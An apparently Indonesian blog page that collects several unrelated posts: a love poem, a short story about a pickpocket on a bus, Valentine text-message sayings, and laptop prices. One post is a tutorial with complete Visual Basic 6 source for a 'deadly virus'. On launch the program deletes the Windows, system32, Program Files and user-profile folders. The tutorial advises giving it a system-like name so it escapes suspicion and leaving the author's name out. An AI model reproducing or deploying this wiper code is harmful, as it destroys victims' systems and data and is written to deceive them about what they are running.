Berlangganan Posting Lewat E-Mail...??

Masukkan alamat E-mail anda untuk berlangganan : Click Subscibe

Delivered by FeedBurner

01.06

MASIH ADAKAH SENYUMKU (PUISI)

Hatiku terasa hancur dan perih
saat raga ini berpisah dengan yang terkasih
Ku hanya bsa bersedih menatap dulu kembali
hingga kini senyumku tiada lagi
Aku sendiri disini
tiada satupun yang memahami
maksud dan isi hati ini

Mungkinkah cinta ini akan hilang
Dan takkan pernah datang
memberikan ketenangan pada hatiku yang bimbang
Kini senyumku sudah terhempas
dan takkan kulihat kebebasannya lagi
karena kini hanya tinggal luka
yang masih membekas dihati. . .


Selengkapnya...

01.04

”COPET . . . . ?” (Cerpen)

Sekali lagi kuperiksa dompetku. Alhamdulillah masih ada. Sebelum berangkat Ibu selalu berpesan agar aku berhati-hati di jalan, terutama saat dalam bus. Biasanya banyak copet beraksi di dalam bus, terlebih saat bus penuh dan para penumpang berdesak-desakan. Itu merupakan lahan empuk bagi para pencopet.
Seorang ibu berperawakan agak gemuk tersenyum kepadaku. Ibu itu duduk persis di sebelah kiriku. Di pangkuannya ada tas besar yang entah isinya apa.
“Adik mau kemana?” tanya ibu itu.
“Surabaya, Bu,” sahutku.
Ibu itu tersenyum. Meski sedikit gemuk, tapi ia terlihat cantik.
Lagi-lagi pesan Ibu terngiang di telingaku.
“Kamu harus hati-hati, Rin, jangan lekas percaya pada orang,” pesan Ibu menjelang keberangkatanku.
“Ingat, Rin, kalau tidak terlalu penting, jangan ngobrol dengan sembarang orang di dalam bus. Ibu takut kalau kamu kena hipnotis nanti,” lanjut ibu lagi.

Aku maklum dengan kecemasan Ibu yang berlebihan melepas kepergianku. Sebelumnya aku memang tidak pernah pergi sendiri. Kalau pergi ke mana-mana apalagi harus menempuh jarak jauh selalu ada keluarga atau setidaknya teman yang menyertai. Tapi kali ini aku terpaksa harus berangkat sendiri. Tak ada yang bisa menemaniku. Semuanya sibuk dengan kerjaan masing-masing.
“Iya, Bu, Ibu tidak usah khawatir,” sahutku singkat.
***
Udara sangat panas. Kukipas-kipaskan koran yang ada di tanganku. Lumayan dapat menghadirkan sedikit angin untuk mengusir gerah.
“Mau ngemil, Dik?” Ibu itu menawarkan sebungkus kacang goreng kepadaku.
“Terima kasih, Bu, saya masih kenyang.” Kutolak halus tawaran Ibu itu. Aku ingat pesan Ibu agar jangan sembarangan menerima tawaran orang untuk makan, sebab obat bius bisa dimasukkan melalui makanan.
“Astagfirullahaladzim…!” ucapku lirih. Aku tidak bermaksud berburuk sangka pada ibu itu, tapi aku hanya sekadar berhati-hati.
Bus berhenti. Ada penumpang yang naik. Seorang laki-laki berambut gondrong dan berpakaian agak lusuh. Sepertinya ia berasal dari golongan kelas bawah. Aku patut curiga dengan orang ini. Keterbatasan ekonomi mungkin saja membuatnya nekat. Hal-hal semacam itu sering aku lihat dalam tayangan kriminal di televisi. Jangan-jangan sasarannya kali ini adalah aku. Ih…aku bergidik. Jantungku berdetak makin cepat saat laki-laki itu memilih duduk tepat di sebelah kananku. Bau keringat menyeruak ke dalam penciumanku.
“Ya Allah, lindungi aku.” Kupegang tasku erat-erat. Aku harus hati-hati dengan laki-laki ini.
Sepanjang jalan perasaanku tidak tenang. Rasa hausku pun terpaksa kutahan. Aku tak berani membuka tasku untuk mengambil air kemasan di dalamnya. Aku takut kalau laki-laki di sampingku tahu segala isi tasku. Kulirik laki-laki gondrong di sebelahku. Ia diam terpaku di tempat duduknya, entah apa yang saat ini dipikirkannya.
Selang beberapa jam, bus berhenti. Laki-laki itu beranjak dari tempat duduknya. Rupanya ia sudah sampai di tempat yang ditujunya.
Aku menarik napas lega. Kuperiksanya tas kecilku. Alhamdulillah, dompetku masih ada. Kureguk air kemasan yang kubeli di terminal bus tadi. Lumayan untuk mengusir rasa haus yang kutahan sejak tadi.
Kulihat ibu di sebelahku begitu tenang terlelap. Suara bising dari pengamen di dalam bus seolah menjadi nyanyian pengantar tidurnya.
Untuk yang kesekian kalinya bus berhenti lagi. Seorang laki-laki seumuran kakakku masuk. Ia duduk di sebelahku. Pakaiannya bersih, rapi, dan wangi. Ia juga berkaca mata, sama seperti kakakku. Penampilannya sangat berbeda dengan laki-laki berambut gondorong tadi. Dari penampilannya, aku yakin bahwa ia orang baik-baik. Tak ada yang perlu kucurigai dari dia.
“Mau ke Surabaya, Mbak?” tanyanya sopan.
“Iya, Mas,” sahutku ringan.
“Mas mau ke Surabaya juga?” Aku balik bertanya.
Laki-laki itu mengangguk.
“Saya mau menjenguk saudara saya di Semarang,” katanya.
Aku senang, kali ini aku tidak perlu ketakutan seperti tadi. Aku aman. Kedua orang yang duduk di sebelahku adalah orang baik-baik. Akhirnya aku tenggelam dalam obrolan-obrolan ringan bersama laki-laki yang baru kukenal itu.
Bus berhenti.
“Permisi, Dik, saya duluan”. Rupanya ibu yang duduk di sebelahku sudah sampai di tempat tujuannya. Kugeser tubuhku agar ibu itu bisa lewat. Laki-laki di sebelah kananku pun juga melakukan hal yang sama, memberi jalan agar ibu bertubuh gemuk itu bisa lewat.
Kembali kuperiksa tasku. Aku tersenyum lega. Alhamdulillah dompetku masih ada.
“Kenapa, Mbak?”.
“Oh…eh… tidak apa-apa, Mas” Aku tersenyum malu. Rupanya laki-laki itu mengawasiku sejak tadi. Mungkin laki-laki itu heran melihatku yang segera memeriksa tas sepeninggal ibu itu tadi.
“Kita memang harus hati-hati, Mbak, banyak copet di mana-mana.” Laki-laki itu seolah dapat menebak jalan pikiranku.
“Kadang pencopet bisa berpura-pura sebagai orang baik dan mereka pun punya banyak cara untuk melancarkan aksinya,” lanjut laki-laki itu lagi.
Aku tersenyum sambil mengangguk-angguk. Sepertinya laki-laki ini tahu banyak tentang seluk-beluk copet. “Ah, mungkin dulunya ia pernah dicopet,” ungkapku dalam hati.
***
Angin berhembus masuk melalui jendela bus. Pinggangku terasa sudah mulai penat karena terlalu lama duduk. Kalau saja bus yang kutumpangi ini tidak sering berhenti, sudah sejak tadi aku tiba di Semarang. Kulirik arloji di pergelangan tanganku. Pukul 04.00 WIB. Laki-laki di sebelahku tertidur sejak tadi. Mungkin ia kelelahan sehingga tidak sanggup menahan kantuknya.
Bus kembali berhenti untuk menaikan penumpang. Kuharap ini adalah terakhir kalinya bus berhenti sebelum tiba di terminal. Aku tak ingin Paman Umar terlalu lama menungguku kedatanganku di terminal. Tiga orang penumpang naik. Sepasang suami isteri yang masih muda beserta anak mereka yang masih balita.
“Mas dan Mbak silakan duduk di sini, biar saya yang berdiri” Naluri kemanusiaanku muncul. Aku tak tega melihat mereka berdiri. Isterinya sedang hamil, sementara anaknya sedang terlelap dalam gendongan ayahnya.
“Terima kasih, Dik.” Mereka tersenyum ramah kepadaku. Tak ada yang perlu kucurigai dari mereka.
Alhamdulillah, aku senang, ternyata kekhawatiran Ibu tidak terbukti. Tak ada copet ataupun tukang bius di dalam bus yang kutumpangi ini.
Bus sudah memasuki kota Surabaya. Tak lama lagi kami akan tiba di terminal. Lumayan lelah juga berdiri, tapi tak apalah, sedikit berkorban untuk orang yang lebih memerlukan.
Bus kembali berhenti. Ternyata laki-laki yang tadi menjadi teman ngobrolku beserta satu orang penumpang lainnya yang turun.
“Saya duluan, Mbak,” katanya tergesa. Aku tersenyum.
“Mungkin laki-laki itu takut kalau busnya kembali jalan makanya ia buru-buru turun,” pikirku. Tak sempat kutangkap senyum puas terpancar dari bibirnya.
Selang beberapa menit kemudian, perlahan bus memasuki terminal. Penumpang berdesakan turun. Kuapit tasku kuat-kuat, tak akan kubiarkan tangan jahil menjarahnya. Kulihat Paman Umar dan Annisa, sepupuku yang masih kecil, tersenyum ke arahku. Mereka sengaja menjemputku di terminal.
“Selamat datang di Surabaya, Rin,” sambut Paman Umar. Kucium tangan beliau.
Annisa kecil merengek minta dibelikan es krim. Kuraih tangannya dan berjalan menghampiri penjual es.
“Mas, beli es krimnya satu,” pintaku pada penjual es.
“Berapa, Mas?” lanjutku lagi.
“Tiga ribu rupiah, Mbak,” sahut penjual es krim itu.
Akhirnya baru kusadari ada goresan silet di tasku. Tak dapat lagi kutangkap senyum ceria Annisa saat menerima es krim dari penjualnya karena yang ada semuanya gelap. Dompetku entah sudah berpindah ke mana.

Selengkapnya...

01.00

CARA MEMBUAT BUAT VIRUS MEMATIKAN

Gwe bikin nih tutorial buat bikin virus yg rada mematikan, tapi simple, dan kayanya sih ga bakal kedekteksi antivirus, soalnya cara kerjanya simple bgt
Yg diperluin:
1. VB(optimal : 6.0)
2. Ngerti tombol2nya VB
Tutorial Bikin Virus cman 1 mnt
1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
Kode yg warna biru itu penangkal nih virus, barang kali lu ga sengaja teken jadi lu slamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserang ndiri… bisa lu edit koq jadi apa gitu…
Yang warna merah itu folder yg bakal didelete ama nih virus, lu edit ndiri aja…
4. Bikin nih project namanya kaya nama system, disini gwe make nama “SystemKernel32″ jadi ga bakal dicurigain
5. Jangan pernah naroh nama lu di nih virus… k?
6. compile deh… slese!

Selamat Mencoba

Selengkapnya...

05.58

Kata-kata Valentine



Kata-kata Valentine :

1. Bersamamu, setiap hari adalah Valentine.

2. Setelah semua yang kau berikan selama ini, rasanya terlalu pelit jika hari ini
aku tidak mengucapkan kata cinta padamu. Selamat hari Valentine.

3. Bersiaplah, hari ini aku akan menyatakan rasa cinta padamu. (Tolong
dirahasiakan sebelum aku benar-benar menyatakannya).

4. Hari ini aku diomelin sama bos, dikomplain oleh klien, macet total di jalan,
komputer hang berat. Semuanya tidak membuat aku lupa menyatakan cinta padamu.
Selamat hari Valentine.



5. Jika aku seorang menteri, aku akan memgumumkan rasa sayangku padamu
di sidang kabinet.

6. Cintaku padamu seperti harga BBM dan tarif listrik PLN, setiap saat
selalu meningkat.

7. Maaf, hari ini hanya ada satu SMS untukmu. Selamat hari Valentine.

8. Selamat Valentine. Terima kasih pada ibumu yang telah melahirkan
kamu sehingga membuat aku bisa mengenal orang sebaik kamu

9. Kukirimkan rasa sayangku padamu, bersama 14 digit voucher Simpati
bernomor 1234567890123. Selamat hari Valentine.

10. Di mejaku ada sebuah pena, seperangkat komputer, setumpuk berkas-berkas,
secarik memo, dan secangkir kopi. Di dalam laci ku ada sekantong cinta, akan kubawa pulang untukmu.

11. Jika cintamu dapat ku dibeli, aku akan membayarnya dengan kartu kredit.
Namun kamu tidak menjual cinta, tapi menggratiskannya untukku. Terima kasih.

12. Walaupun pulsaku udah sekarat, aku akan tetap mengirim SMS cinta
untukmu. Selamat hari Valentine.

13. Tuhan memberikan rasa cinta dalam diriku, dan aku memberikannya
padamu. Please yach, jangan diberikan lagi pada orang lain.

14. Hari ini, setiap satu jam sekali aku kirimkan SMS cinta untukmu.selamat hari Valentine

15. Hari ini aku mencintaimu. Jika besok aku lupa, tolong ingatkan aku
dengan cintamu.

16. Pikirkanlah baik-baik sebelum mengambil keputusan. Tetapi untuk mencintaiku,
jangan berpikir terlalu panjang.

17. Bersama SMS ini, kami sampaikan rasa sayang yang tulus. Demikianlah
SMS ini disampaikan, atas perhatiannya kami ucapkan terima kasih. Selamat hari Valentine.

18. Kata cinta terdengar kuno dan norak bagi mereka yang tidak merasakannya. Aku
tidak kuno dan norak untuk menyampaikannya padamu.

19. Terima kasih, kamu telah mengajariku menjadi lelaki yang kodratnya
mencintai seorang wanita.

20. Jangan ucapkan kata cinta untukku. Aku sudah tahu, sebab akupun merasakannya, karena aku
mencintaimu.

21. Aku kirim SMS cinta ini untukmu. Mohon jangan dibalas. Aku takut
kamu menjawab sebaliknya.

22. SMS ini tidak cukup mengungkapkan rasa cintaku padamu, meski
biayanya cukup murah dan praktis.

23. Jika cinta adalah batu, aku akan menimpukmu berkali-kali sampai dirimu
benjol olehnya.

24. Kuharap batu hatimu yang terkikis kutetesi kasih setiap pagi. Selamat
hari valentine.

25. Cinta yang mengebu lebih banyak bohongnya. Aku mencintaimu dengan
biasa saja. Seperti Matador dengan Bantengnya.

26. Aku sungguh mencintaimu. Selamat hari Valentine. Teruskan SMS ini
kepada rekan anda yang lain. Selamat berjuang.


Selengkapnya...

05.44

Axio 2009 LAPTOP PENIMBANG BERAT BADAN



Harga Notebook/Laptop Axio 2009

Notebook AXIOO TVS 016PSE
Harga sekitar : Rp 7 juta
12.1" Wide XGA TFT, Intel Pentium Dual Core T2410 (2.0Ghz), Memory Visipro DDR2 1Gb
, HDD Seagate 160Gb, WiFi , Card Reader , DVD Dual , 1.3MPx WebCamera , Warranty 1 year parts & labor



Netbook AXIOO Pico DJM616
Harga sekitar Rp 5,5 juta
Processor Intel Atom N270 (1,6Ghz, 512Kb, L2C, 533Mhz FSB) , RAM Visipro 1Gb pc5300 (max 2Gb, 2 slot) , HDD Seagate 160Gb SATA , 10.2" Screen Size WXGA , Berat 1.2Kg , Graphic System Intel 950GM up to 64Mb VRAM , LAN Fast Ethernet 10/100 , Wireless 802.11bg
1.3MPx Integrated WebCam , 4-in-1 Card Reader , OS: Windows XP Home Original , Warranty 1 year parts & labor

Notebook AXIOO TVR 157C
Harga sekitar Rp 5,5 juta
14.1" Wide XGA TFT,Intel Celeron M 560 (2.13Ghz),Memory Visipro DDR2 512Mb
, HDD Seagate 160Gb,WiFi , Card Reader , DVD Dual , 1.3MPx WebCamera , Warranty 1 year parts & labor

Notebook AXIOO MNC 016P
Harga sekitar Rp 6.399.000
14.1" Wide XGA TFT, Intel Pentium Dual Core T2410 (2.0Ghz), Memory Visipro DDR2 1Gb
, HDD Seagate 160Gb, WiFi , DVD SuperMulti , 1.3MPx WebCamera , Warranty 1 year parts & labor

Selengkapnya...

Pengikut

Supported by: